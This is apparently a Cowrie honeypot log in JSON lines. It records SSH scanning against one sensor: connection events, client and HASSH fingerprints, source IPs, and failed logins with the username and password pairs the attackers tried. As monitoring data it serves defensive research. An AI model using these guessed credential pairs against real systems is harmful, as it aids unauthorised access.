{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:22:36:88:af:34:bb:b3:59:c2:7e:34:84:f7:4d:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCFrf+Wy0BwLRxlZRd5TcfMcJ6P0kVMhqu6Uf6y2Y5iXLgX6J3ABGfxHTOws17JixmPF790GvOPRepWkio8e4OvmXRji70vk+pvKIeT4J7DVrART/rzTdyS4Tz7FTM+2/C0g4M3HHKFj7jHeIhlexJc4efevKLoqytKQklxgDGQtwtEKhxTphTvNFSoyZMdYn+jZo3p7daJPqEUponX3O9T7YVsKn9FbJTVN4jPgyqJdTbod6vdU+UlxOCoq0mRMk5LRWnDDns4gpID13W58rHy6KQ7o9g6X+54dAWvxjsWyHqj6KGRfQ8BEU487tYyxH41x7qOkU0JiXC3pKO1im/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.868230Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.884504Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49120,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f4e81ec6a2","protocol":"ssh","message":"New connection: 8.218.166.49:49120 (10.17.0.5:22) [session: 04f4e81ec6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:17.325620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.166894Z","src_ip":"8.218.166.49","session":"04f4e81ec6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":58432,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5f129c735d6","protocol":"ssh","message":"New connection: 189.113.47.155:58432 (159.203.135.109:22) [session: a5f129c735d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.320075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.324646Z","src_ip":"189.113.47.155","session":"a5f129c735d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.440263Z","src_ip":"189.113.47.155","session":"a5f129c735d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":34590,"dst_ip":"159.203.135.109","dst_port":22,"session":"0483e5329708","protocol":"ssh","message":"New connection: 139.59.208.49:34590 (159.203.135.109:22) [session: 0483e5329708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.805708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.810176Z","src_ip":"139.59.208.49","session":"0483e5329708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.898841Z","src_ip":"139.59.208.49","session":"0483e5329708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pic","message":"login attempt [root/pic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:19.932621Z","src_ip":"189.113.47.155","session":"a5f129c735d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:20.006314Z","src_ip":"8.218.166.49","session":"04f4e81ec6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:20.284575Z","src_ip":"139.59.208.49","session":"0483e5329708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:21.054742Z","src_ip":"189.113.47.155","session":"a5f129c735d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:21.374511Z","src_ip":"139.59.208.49","session":"0483e5329708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:30.802811Z","src_ip":"8.218.166.49","session":"04f4e81ec6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:33.275168Z","src_ip":"8.218.166.49","session":"04f4e81ec6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":38800,"dst_ip":"159.203.135.109","dst_port":22,"session":"93350808b068","protocol":"ssh","message":"New connection: 165.154.6.49:38800 (159.203.135.109:22) [session: 93350808b068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:43.720757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:43.725465Z","src_ip":"165.154.6.49","session":"93350808b068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:43.939885Z","src_ip":"165.154.6.49","session":"93350808b068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pages","message":"login attempt [root/pages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:44.832529Z","src_ip":"165.154.6.49","session":"93350808b068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:46.050671Z","src_ip":"165.154.6.49","session":"93350808b068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":60023,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71591538b80","protocol":"ssh","message":"New connection: 176.32.193.16:60023 (159.203.135.109:22) [session: f71591538b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:46.422705Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:46.565842Z","src_ip":"176.32.193.16","session":"f71591538b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":47516,"dst_ip":"159.203.135.109","dst_port":22,"session":"84bd571b130d","protocol":"ssh","message":"New connection: 124.155.125.131:47516 (159.203.135.109:22) [session: 84bd571b130d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:48.988315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:48.992803Z","src_ip":"124.155.125.131","session":"84bd571b130d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:49.168691Z","src_ip":"124.155.125.131","session":"84bd571b130d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:49.258281Z","src_ip":"8.218.166.49","session":"ab10bc8a391a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passpass","message":"login attempt [root/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:49.903467Z","src_ip":"124.155.125.131","session":"84bd571b130d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:51.081916Z","src_ip":"124.155.125.131","session":"84bd571b130d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:58.079279Z","src_ip":"8.218.166.49","session":"ab10bc8a391a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"49.4","message":"Connection lost after 49.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:59.358516Z","src_ip":"8.218.166.49","session":"ab10bc8a391a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":38136,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f011c99c42","protocol":"ssh","message":"New connection: 190.167.237.191:38136 (159.203.135.109:22) [session: 11f011c99c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:06.265580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:06.270632Z","src_ip":"190.167.237.191","session":"11f011c99c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:06.331661Z","src_ip":"190.167.237.191","session":"11f011c99c42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mkt","message":"login attempt [root/mkt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:06.601413Z","src_ip":"190.167.237.191","session":"11f011c99c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:07.665129Z","src_ip":"190.167.237.191","session":"11f011c99c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57012,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a223dff60c","protocol":"ssh","message":"New connection: 8.218.166.49:57012 (10.17.0.5:22) [session: 58a223dff60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:13.524672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:20.939983Z","src_ip":"8.218.166.49","session":"58a223dff60c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:20.944945Z","src_ip":"8.218.166.49","session":"58a223dff60c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":37760,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c99e762ff5","protocol":"ssh","message":"New connection: 139.59.208.49:37760 (159.203.135.109:22) [session: a2c99e762ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:25.194282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:25.199746Z","src_ip":"139.59.208.49","session":"a2c99e762ff5","protocol":"ssh"}
